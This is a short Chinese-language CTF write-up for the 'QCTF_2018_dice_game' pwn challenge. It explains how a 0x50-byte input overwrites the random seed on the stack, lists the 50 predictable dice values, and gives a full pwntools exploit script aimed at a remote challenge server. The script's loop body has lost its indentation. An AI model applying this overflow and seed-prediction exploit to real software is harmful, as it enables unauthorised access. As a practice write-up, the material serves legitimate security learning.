程序流程
输入name后 连续猜对50次随机数即可获得flag
输入buf的可以覆盖栈上的内容,那么输入0x50个字符就可以覆盖seed,最终产生的随机数就是定值了
考虑输入0x50个‘A’,那么写c程序
可以获得生成的随机数列表
3, 3, 2, 1, 5, 3, 4, 6, 3, 4, 2, 2, 3, 2, 1, 1, 4, 5, 4, 6, 3, 6, 4, 3, 4, 2, 2, 6, 1, 2, 2, 3, 4, 1, 2, 1, 4, 5, 4, 6, 6, 5, 1, 3, 5, 5, 1, 2, 4, 2
那么依次输入这50个随机数就能获得flag
完整的ex
from pwn import *
context(log_level='debug')
#io=process("./QCTF_2018_dice_game")
io=remote("node3.buuoj.cn",27605)
io.recv()
payload=b'A'*(0x50)
io.sendline(payload)
io.recv()
point_list=[3,3,2,1,5,3,4,6,3,4,2,2,3,2,1,1,4,5,4,6,3,6,4,3,4,2,2,6,1,2,2,3,4,1,2,1,4,5,4,6,6,5,1,3,5,5,1,2,4,2]
for i in range(50):
io.sendline(str(point_list[i]))
io.recv()
io.interactive()